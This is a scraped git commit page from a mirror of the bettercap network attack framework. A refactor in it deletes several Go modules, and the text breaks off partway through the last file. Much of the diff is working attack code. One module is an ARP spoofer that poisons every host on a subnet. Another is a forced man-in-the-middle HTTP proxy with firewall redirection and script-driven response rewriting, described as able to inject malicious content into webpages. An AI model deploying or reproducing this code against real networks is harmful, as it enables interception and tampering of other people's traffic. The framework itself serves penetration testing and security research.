mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 18:57:17 -07:00
refact: session/modules -> modules
This commit is contained in:
parent
da10147b7c
commit
64221a126d
13 changed files with 1 additions and 1 deletions
Binary file not shown.
|
@ -1,206 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/core"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
"github.com/evilsocket/bettercap-ng/tls"
|
||||
)
|
||||
|
||||
type RestAPI struct {
|
||||
session.SessionModule
|
||||
server *http.Server
|
||||
username string
|
||||
password string
|
||||
certFile string
|
||||
keyFile string
|
||||
}
|
||||
|
||||
func NewRestAPI(s *session.Session) *RestAPI {
|
||||
api := &RestAPI{
|
||||
SessionModule: session.NewSessionModule("api.rest", s),
|
||||
server: &http.Server{},
|
||||
username: "",
|
||||
password: "",
|
||||
}
|
||||
|
||||
api.AddParam(session.NewStringParameter("api.rest.address",
|
||||
"<interface address>",
|
||||
`^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
|
||||
"Address to bind the API REST server to."))
|
||||
|
||||
api.AddParam(session.NewIntParameter("api.rest.port",
|
||||
"8083",
|
||||
"Port to bind the API REST server to."))
|
||||
|
||||
api.AddParam(session.NewStringParameter("api.rest.username",
|
||||
"",
|
||||
"",
|
||||
"API authentication username."))
|
||||
|
||||
api.AddParam(session.NewStringParameter("api.rest.certificate",
|
||||
"~/.bettercap-ng.certificate.pem",
|
||||
"",
|
||||
"API TLS certificate."))
|
||||
|
||||
api.AddParam(session.NewStringParameter("api.rest.key",
|
||||
"~/.bettercap-ng.key.pem",
|
||||
"",
|
||||
"API TLS key"))
|
||||
|
||||
api.AddParam(session.NewStringParameter("api.rest.password",
|
||||
"",
|
||||
"",
|
||||
"API authentication password."))
|
||||
|
||||
api.AddHandler(session.NewModuleHandler("api.rest on", "",
|
||||
"Start REST API server.",
|
||||
func(args []string) error {
|
||||
return api.Start()
|
||||
}))
|
||||
|
||||
api.AddHandler(session.NewModuleHandler("api.rest off", "",
|
||||
"Stop REST API server.",
|
||||
func(args []string) error {
|
||||
return api.Stop()
|
||||
}))
|
||||
|
||||
api.setupRoutes()
|
||||
|
||||
return api
|
||||
}
|
||||
|
||||
type JSSessionRequest struct {
|
||||
Command string `json:"cmd"`
|
||||
}
|
||||
|
||||
type JSSessionResponse struct {
|
||||
Error string `json:"error"`
|
||||
}
|
||||
|
||||
func (api *RestAPI) Name() string {
|
||||
return "REST API"
|
||||
}
|
||||
|
||||
func (api *RestAPI) Description() string {
|
||||
return "Expose a RESTful API."
|
||||
}
|
||||
|
||||
func (api *RestAPI) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (api *RestAPI) OnSessionStarted(s *session.Session) {
|
||||
// refresh the address after session has been created
|
||||
s.Env.Set("api.rest.address", s.Interface.IpAddress)
|
||||
}
|
||||
|
||||
func (api *RestAPI) OnSessionEnded(s *session.Session) {
|
||||
if api.Running() {
|
||||
api.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (api *RestAPI) configure() error {
|
||||
var address string
|
||||
var port int
|
||||
|
||||
if err, v := api.Param("api.rest.address").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
address = v.(string)
|
||||
}
|
||||
|
||||
if err, v := api.Param("api.rest.port").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
port = v.(int)
|
||||
}
|
||||
|
||||
api.server.Addr = fmt.Sprintf("%s:%d", address, port)
|
||||
|
||||
if err, v := api.Param("api.rest.certificate").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
api.certFile = v.(string)
|
||||
if api.certFile, err = core.ExpandPath(api.certFile); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := api.Param("api.rest.key").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
api.keyFile = v.(string)
|
||||
if api.keyFile, err = core.ExpandPath(api.keyFile); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := api.Param("api.rest.username").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
api.username = v.(string)
|
||||
if api.username == "" {
|
||||
return fmt.Errorf("api.rest.username is empty.")
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := api.Param("api.rest.password").Get(api.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
api.password = v.(string)
|
||||
if api.password == "" {
|
||||
return fmt.Errorf("api.rest.password is empty.")
|
||||
}
|
||||
}
|
||||
|
||||
if core.Exists(api.certFile) == false || core.Exists(api.keyFile) == false {
|
||||
api.Session.Events.Log(session.INFO, "Generating RSA key to %s", api.keyFile)
|
||||
api.Session.Events.Log(session.INFO, "Generating TLS certificate to %s", api.certFile)
|
||||
if err := tls.Generate(api.certFile, api.keyFile); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
api.Session.Events.Log(session.INFO, "Loading RSA key from %s", api.keyFile)
|
||||
api.Session.Events.Log(session.INFO, "Loading TLS certificate from %s", api.certFile)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (api *RestAPI) Start() error {
|
||||
if err := api.configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if api.Running() == false {
|
||||
api.SetRunning(true)
|
||||
go func() {
|
||||
api.Session.Events.Log(session.INFO, "API server starting on https://%s", api.server.Addr)
|
||||
err := api.server.ListenAndServeTLS(api.certFile, api.keyFile)
|
||||
if err != nil && err != http.ErrServerClosed {
|
||||
panic(err)
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("REST API server already started.")
|
||||
}
|
||||
|
||||
func (api *RestAPI) Stop() error {
|
||||
if api.Running() == true {
|
||||
api.SetRunning(false)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||
defer cancel()
|
||||
return api.server.Shutdown(ctx)
|
||||
} else {
|
||||
return fmt.Errorf("REST API server already stopped.")
|
||||
}
|
||||
}
|
|
@ -1,135 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
)
|
||||
|
||||
func (api *RestAPI) setupRoutes() {
|
||||
http.HandleFunc("/api/session", api.sessRoute)
|
||||
http.HandleFunc("/api/events", api.eventsRoute)
|
||||
}
|
||||
|
||||
func (api RestAPI) checkAuth(w http.ResponseWriter, r *http.Request) bool {
|
||||
if api.Authenticated(w, r) == false {
|
||||
api.Session.Events.Log(session.WARNING, "Unauthenticated access!")
|
||||
http.Error(w, "Not authorized", 401)
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (api RestAPI) Authenticated(w http.ResponseWriter, r *http.Request) bool {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
|
||||
|
||||
parts := strings.SplitN(r.Header.Get("Authorization"), " ", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
|
||||
b, err := base64.StdEncoding.DecodeString(parts[1])
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
pair := strings.SplitN(string(b), ":", 2)
|
||||
if len(pair) != 2 {
|
||||
return false
|
||||
}
|
||||
|
||||
if pair[0] != api.username || pair[1] != api.password {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (api *RestAPI) sessRoute(w http.ResponseWriter, r *http.Request) {
|
||||
if api.checkAuth(w, r) == false {
|
||||
return
|
||||
}
|
||||
|
||||
if r.Method == "GET" {
|
||||
js, err := json.Marshal(api.Session)
|
||||
if err != nil {
|
||||
api.Session.Events.Log(session.ERROR, "Error while returning session: %s", err)
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Write(js)
|
||||
} else if r.Method == "POST" && r.Body != nil {
|
||||
var req JSSessionRequest
|
||||
var res JSSessionResponse
|
||||
|
||||
err := json.NewDecoder(r.Body).Decode(&req)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 400)
|
||||
return
|
||||
}
|
||||
|
||||
err = api.Session.Run(req.Command)
|
||||
if err != nil {
|
||||
res.Error = err.Error()
|
||||
}
|
||||
js, err := json.Marshal(res)
|
||||
if err != nil {
|
||||
api.Session.Events.Log(session.ERROR, "Error while returning response: %s", err)
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Write(js)
|
||||
} else {
|
||||
http.Error(w, "Not Found", 404)
|
||||
}
|
||||
}
|
||||
|
||||
func (api *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
|
||||
if api.checkAuth(w, r) == false {
|
||||
return
|
||||
}
|
||||
|
||||
if r.Method == "GET" {
|
||||
var err error
|
||||
|
||||
events := api.Session.Events.Events()
|
||||
nmax := len(events)
|
||||
n := nmax
|
||||
|
||||
keys, ok := r.URL.Query()["n"]
|
||||
if len(keys) == 1 && ok {
|
||||
sn := keys[0]
|
||||
n, err = strconv.Atoi(sn)
|
||||
if err == nil {
|
||||
if n > nmax {
|
||||
n = nmax
|
||||
}
|
||||
} else {
|
||||
n = nmax
|
||||
}
|
||||
}
|
||||
|
||||
js, err := json.Marshal(events[0:n])
|
||||
if err != nil {
|
||||
api.Session.Events.Log(session.ERROR, "Error while returning events: %s", err)
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Write(js)
|
||||
} else if r.Method == "DELETE" {
|
||||
api.Session.Events.Clear()
|
||||
api.Session.Events.Add("sys.log.cleared", nil)
|
||||
} else {
|
||||
http.Error(w, "Not Found", 404)
|
||||
}
|
||||
}
|
|
@ -1,215 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
network "github.com/evilsocket/bettercap-ng/net"
|
||||
"github.com/evilsocket/bettercap-ng/packets"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
"github.com/malfunkt/iprange"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type ArpSpoofer struct {
|
||||
session.SessionModule
|
||||
Done chan bool
|
||||
}
|
||||
|
||||
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||
p := &ArpSpoofer{
|
||||
SessionModule: session.NewSessionModule("arp.spoof", s),
|
||||
Done: make(chan bool),
|
||||
}
|
||||
|
||||
p.AddParam(session.NewStringParameter("arp.spoof.targets", "<entire subnet>", "", "IP addresses to spoof."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
||||
"Start ARP spoofer.",
|
||||
func(args []string) error {
|
||||
return p.Start()
|
||||
}))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("arp.spoof off", "",
|
||||
"Stop ARP spoofer.",
|
||||
func(args []string) error {
|
||||
return p.Stop()
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) OnSessionStarted(s *session.Session) {
|
||||
// refresh the subnet after session has been created
|
||||
s.Env.Set("arp.spoof.targets", s.Interface.CIDR())
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Name() string {
|
||||
return "ARP Spoofer"
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Description() string {
|
||||
return "Keep spoofing selected hosts on the network."
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) shouldSpoof(ip net.IP) bool {
|
||||
addr := ip.String()
|
||||
if ip.IsLoopback() == true {
|
||||
return false
|
||||
} else if addr == p.Session.Interface.IpAddress {
|
||||
return false
|
||||
} else if addr == p.Session.Gateway.IpAddress {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) getMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
|
||||
var mac string
|
||||
var hw net.HardwareAddr
|
||||
var err error
|
||||
|
||||
// do we have this ip mac address?
|
||||
mac, err = network.ArpLookup(p.Session.Interface.Name(), ip.String(), false)
|
||||
if err != nil && probe == true {
|
||||
from := p.Session.Interface.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
|
||||
if err, probe := packets.NewUDPProbe(from, from_hw, ip, 139); err != nil {
|
||||
p.Session.Events.Log(session.ERROR, "Error while creating UDP probe packet for %s: %s\n", ip.String(), err)
|
||||
} else {
|
||||
p.Session.Queue.Send(probe)
|
||||
}
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
mac, err = network.ArpLookup(p.Session.Interface.Name(), ip.String(), false)
|
||||
}
|
||||
|
||||
if mac == "" {
|
||||
return nil, fmt.Errorf("Could not find hardware address for %s.", ip.String())
|
||||
}
|
||||
|
||||
hw, err = net.ParseMAC(mac)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Error while parsing hardware address '%s' for %s: %s", mac, ip.String(), err)
|
||||
}
|
||||
|
||||
return hw, nil
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) sendArp(addresses []net.IP, saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
||||
for _, ip := range addresses {
|
||||
if p.shouldSpoof(ip) == false {
|
||||
p.Session.Events.Log(session.DEBUG, "Skipping address %s from ARP spoofing.\n", ip)
|
||||
continue
|
||||
}
|
||||
|
||||
// do we have this ip mac address?
|
||||
hw, err := p.getMAC(ip, probe)
|
||||
if err != nil {
|
||||
p.Session.Events.Log(session.DEBUG, "Error while looking up hardware address for %s: %s\n", ip.String(), err)
|
||||
continue
|
||||
}
|
||||
|
||||
if err, pkt := packets.NewARPReply(saddr, smac, ip, hw); err != nil {
|
||||
p.Session.Events.Log(session.ERROR, "Error while creating ARP spoof packet for %s: %s\n", ip.String(), err)
|
||||
} else {
|
||||
p.Session.Events.Log(session.DEBUG, "Sending %d bytes of ARP packet to %s:%s.\n", len(pkt), ip.String(), hw.String())
|
||||
p.Session.Queue.Send(pkt)
|
||||
}
|
||||
|
||||
if check_running && p.Running() == false {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) unSpoof() error {
|
||||
var targets string
|
||||
|
||||
if err, v := p.Param("arp.spoof.targets").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
targets = v.(string)
|
||||
}
|
||||
|
||||
list, err := iprange.Parse(targets)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Error while parsing arp.spoof.targets variable '%s': %s.", targets, err)
|
||||
}
|
||||
addresses := list.Expand()
|
||||
|
||||
from := p.Session.Gateway.IP
|
||||
from_hw := p.Session.Gateway.HW
|
||||
|
||||
p.Session.Events.Log(session.INFO, "Restoring ARP cache of %d targets (%s).\n", len(addresses), targets)
|
||||
|
||||
p.sendArp(addresses, from, from_hw, false, false)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) Start() error {
|
||||
if p.Running() == false {
|
||||
var targets string
|
||||
|
||||
if err, v := p.Param("arp.spoof.targets").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
targets = v.(string)
|
||||
}
|
||||
|
||||
list, err := iprange.Parse(targets)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Error while parsing arp.spoof.targets variable '%s': %s.", targets, err)
|
||||
}
|
||||
addresses := list.Expand()
|
||||
|
||||
p.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
|
||||
from := p.Session.Gateway.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
|
||||
p.Session.Events.Log(session.INFO, "ARP spoofer started, probing %d targets (%s).\n", len(addresses), targets)
|
||||
|
||||
for p.Running() {
|
||||
p.sendArp(addresses, from, from_hw, true, false)
|
||||
time.Sleep(1 * time.Second)
|
||||
}
|
||||
|
||||
p.Done <- true
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("ARP spoofer already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
|
||||
p.Session.Events.Log(session.INFO, "Waiting for ARP spoofer to stop ...")
|
||||
|
||||
<-p.Done
|
||||
|
||||
p.unSpoof()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("ARP spoofer already stopped.")
|
||||
}
|
||||
}
|
|
@ -1,98 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/core"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
)
|
||||
|
||||
type EventsStream struct {
|
||||
session.SessionModule
|
||||
quit chan bool
|
||||
}
|
||||
|
||||
func NewEventsStream(s *session.Session) *EventsStream {
|
||||
stream := &EventsStream{
|
||||
SessionModule: session.NewSessionModule("events.stream", s),
|
||||
quit: make(chan bool),
|
||||
}
|
||||
|
||||
stream.AddHandler(session.NewModuleHandler("events.stream on", "",
|
||||
"Start events stream.",
|
||||
func(args []string) error {
|
||||
return stream.Start()
|
||||
}))
|
||||
|
||||
stream.AddHandler(session.NewModuleHandler("events.stream off", "",
|
||||
"Stop events stream.",
|
||||
func(args []string) error {
|
||||
return stream.Stop()
|
||||
}))
|
||||
|
||||
stream.AddHandler(session.NewModuleHandler("events.clear", "",
|
||||
"Clear events stream.",
|
||||
func(args []string) error {
|
||||
stream.Session.Events.Clear()
|
||||
return nil
|
||||
}))
|
||||
|
||||
return stream
|
||||
}
|
||||
|
||||
func (s EventsStream) Name() string {
|
||||
return "Events Stream"
|
||||
}
|
||||
|
||||
func (s EventsStream) Description() string {
|
||||
return "Print events as a continuous stream."
|
||||
}
|
||||
|
||||
func (s EventsStream) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (s *EventsStream) Start() error {
|
||||
if s.Running() == false {
|
||||
s.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
var e session.Event
|
||||
select {
|
||||
case e = <-s.Session.Events.NewEvents:
|
||||
tm := e.Time.Format("2006-01-02 15:04:05")
|
||||
|
||||
if e.Tag == "sys.log" {
|
||||
fmt.Printf("[%s] %s %v\n", tm, e.Label(), e.Data.(session.LogMessage).Message)
|
||||
} else {
|
||||
fmt.Printf("[%s] [%s] %v\n", tm, core.Green(e.Tag), e.Data)
|
||||
}
|
||||
break
|
||||
|
||||
case <-s.quit:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("Events stream already started.")
|
||||
}
|
||||
|
||||
func (s *EventsStream) Stop() error {
|
||||
if s.Running() == true {
|
||||
s.SetRunning(false)
|
||||
s.quit <- true
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("Events stream already stopped.")
|
||||
}
|
||||
|
||||
func (s *EventsStream) OnSessionEnded(sess *session.Session) {
|
||||
if s.Running() {
|
||||
s.Stop()
|
||||
}
|
||||
}
|
|
@ -1,245 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/firewall"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
)
|
||||
|
||||
type HttpProxy struct {
|
||||
session.SessionModule
|
||||
|
||||
address string
|
||||
redirection *firewall.Redirection
|
||||
server http.Server
|
||||
proxy *goproxy.ProxyHttpServer
|
||||
script *ProxyScript
|
||||
}
|
||||
|
||||
func (p *HttpProxy) logAction(req *http.Request, jsres *JSResponse) {
|
||||
p.Session.Events.Add("http.proxy.spoofed-response", struct {
|
||||
To string
|
||||
Method string
|
||||
Host string
|
||||
Path string
|
||||
Size int
|
||||
}{
|
||||
strings.Split(req.RemoteAddr, ":")[0],
|
||||
req.Method,
|
||||
req.Host,
|
||||
req.URL.Path,
|
||||
len(jsres.Body),
|
||||
})
|
||||
}
|
||||
|
||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||
p := &HttpProxy{
|
||||
SessionModule: session.NewSessionModule("http.proxy", s),
|
||||
proxy: nil,
|
||||
address: "",
|
||||
redirection: nil,
|
||||
script: nil,
|
||||
}
|
||||
|
||||
p.AddParam(session.NewIntParameter("http.port",
|
||||
"80",
|
||||
"HTTP port to redirect when the proxy is activated."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("http.proxy.address",
|
||||
"<interface address>",
|
||||
`^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
|
||||
"Address to bind the HTTP proxy to."))
|
||||
|
||||
p.AddParam(session.NewIntParameter("http.proxy.port",
|
||||
"8080",
|
||||
"Port to bind the HTTP proxy to."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("http.proxy.script",
|
||||
"",
|
||||
"",
|
||||
"Path of a proxy JS script."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
||||
"Start HTTP proxy.",
|
||||
func(args []string) error {
|
||||
return p.Start()
|
||||
}))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("http.proxy off", "",
|
||||
"Stop HTTP proxy.",
|
||||
func(args []string) error {
|
||||
return p.Stop()
|
||||
}))
|
||||
|
||||
proxy := goproxy.NewProxyHttpServer()
|
||||
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
||||
if p.doProxy(req) == true {
|
||||
req.URL.Scheme = "http"
|
||||
req.URL.Host = req.Host
|
||||
p.proxy.ServeHTTP(w, req)
|
||||
}
|
||||
})
|
||||
|
||||
proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
|
||||
proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
|
||||
if p.script != nil {
|
||||
jsres := p.script.OnRequest(req)
|
||||
if jsres != nil {
|
||||
p.logAction(req, jsres)
|
||||
return req, jsres.ToResponse(req)
|
||||
}
|
||||
}
|
||||
return req, nil
|
||||
})
|
||||
|
||||
proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
|
||||
if p.script != nil {
|
||||
jsres := p.script.OnResponse(res)
|
||||
if jsres != nil {
|
||||
p.logAction(res.Request, jsres)
|
||||
return jsres.ToResponse(res.Request)
|
||||
}
|
||||
}
|
||||
return res
|
||||
})
|
||||
|
||||
p.proxy = proxy
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Name() string {
|
||||
return "HTTP Proxy"
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Description() string {
|
||||
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *HttpProxy) OnSessionStarted(s *session.Session) {
|
||||
// refresh the address after session has been created
|
||||
s.Env.Set("http.proxy.address", s.Interface.IpAddress)
|
||||
}
|
||||
|
||||
func (p *HttpProxy) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Start() error {
|
||||
var http_port int
|
||||
var proxy_port int
|
||||
|
||||
if p.Running() == true {
|
||||
return fmt.Errorf("HTTP proxy already started.")
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.proxy.address").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
p.address = v.(string)
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.proxy.port").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
proxy_port = v.(int)
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.port").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
http_port = v.(int)
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.proxy.script").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
scriptPath := v.(string)
|
||||
if scriptPath != "" {
|
||||
if err, p.script = LoadProxyScript(scriptPath, p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
p.Session.Events.Log(session.DEBUG, "Proxy script %s loaded.", scriptPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Session.Firewall.IsForwardingEnabled() == false {
|
||||
p.Session.Events.Log(session.INFO, "Enabling forwarding.")
|
||||
p.Session.Firewall.EnableForwarding(true)
|
||||
}
|
||||
|
||||
p.redirection = firewall.NewRedirection(p.Session.Interface.Name(),
|
||||
"TCP",
|
||||
http_port,
|
||||
p.address,
|
||||
proxy_port)
|
||||
|
||||
if err := p.Session.Firewall.EnableRedirection(p.redirection, true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
p.Session.Events.Log(session.DEBUG, "Applied redirection %s", p.redirection.String())
|
||||
|
||||
address := fmt.Sprintf("%s:%d", p.address, proxy_port)
|
||||
p.server = http.Server{Addr: address, Handler: p.proxy}
|
||||
go func() {
|
||||
p.SetRunning(true)
|
||||
if err := p.server.ListenAndServe(); err != nil {
|
||||
p.SetRunning(false)
|
||||
p.Session.Events.Log(session.WARNING, "%s", err)
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
p.server.Shutdown(nil)
|
||||
if p.redirection != nil {
|
||||
p.Session.Events.Log(session.DEBUG, "Disabling redirection %s", p.redirection.String())
|
||||
if err := p.Session.Firewall.EnableRedirection(p.redirection, false); err != nil {
|
||||
return err
|
||||
}
|
||||
p.redirection = nil
|
||||
}
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("HTTP proxy stopped.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HttpProxy) doProxy(req *http.Request) bool {
|
||||
blacklist := []string{
|
||||
"localhost",
|
||||
"127.0.0.1",
|
||||
p.address,
|
||||
}
|
||||
|
||||
if req.Host == "" {
|
||||
p.Session.Events.Log(session.ERROR, "Got request with empty host: %v", req)
|
||||
return false
|
||||
}
|
||||
|
||||
for _, blacklisted := range blacklist {
|
||||
if strings.HasPrefix(req.Host, blacklisted) {
|
||||
p.Session.Events.Log(session.ERROR, "Got request with blacklisted host: %s", req.Host)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
|
@ -1,51 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type JSHeader struct {
|
||||
Name string
|
||||
Value string
|
||||
}
|
||||
|
||||
type JSRequest struct {
|
||||
Method string
|
||||
Version string
|
||||
Path string
|
||||
Hostname string
|
||||
Headers []JSHeader
|
||||
Body string
|
||||
req *http.Request
|
||||
}
|
||||
|
||||
func NewJSRequest(req *http.Request) JSRequest {
|
||||
headers := make([]JSHeader, 0)
|
||||
for key, values := range req.Header {
|
||||
for _, value := range values {
|
||||
headers = append(headers, JSHeader{key, value})
|
||||
}
|
||||
}
|
||||
|
||||
return JSRequest{
|
||||
Method: req.Method,
|
||||
Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
|
||||
Path: req.URL.Path,
|
||||
Hostname: req.Host,
|
||||
Headers: headers,
|
||||
req: req,
|
||||
}
|
||||
}
|
||||
|
||||
func (j *JSRequest) ReadBody() string {
|
||||
raw, err := ioutil.ReadAll(j.req.Body)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
|
||||
return j.Body
|
||||
}
|
|
@ -1,74 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
)
|
||||
|
||||
type JSResponse struct {
|
||||
Status int
|
||||
ContentType string
|
||||
Headers string
|
||||
Body string
|
||||
|
||||
wasUpdated bool
|
||||
resp *http.Response
|
||||
}
|
||||
|
||||
func NewJSResponse(res *http.Response) *JSResponse {
|
||||
cType := ""
|
||||
headers := ""
|
||||
|
||||
for name, values := range res.Header {
|
||||
for _, value := range values {
|
||||
if name == "Content-Type" {
|
||||
cType = value
|
||||
}
|
||||
headers += name + ": " + value + "\r\n"
|
||||
}
|
||||
}
|
||||
|
||||
return &JSResponse{
|
||||
Status: res.StatusCode,
|
||||
ContentType: cType,
|
||||
Headers: headers,
|
||||
resp: res,
|
||||
}
|
||||
}
|
||||
|
||||
func (j *JSResponse) Updated() {
|
||||
j.wasUpdated = true
|
||||
}
|
||||
|
||||
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
|
||||
resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
|
||||
if j.Headers != "" {
|
||||
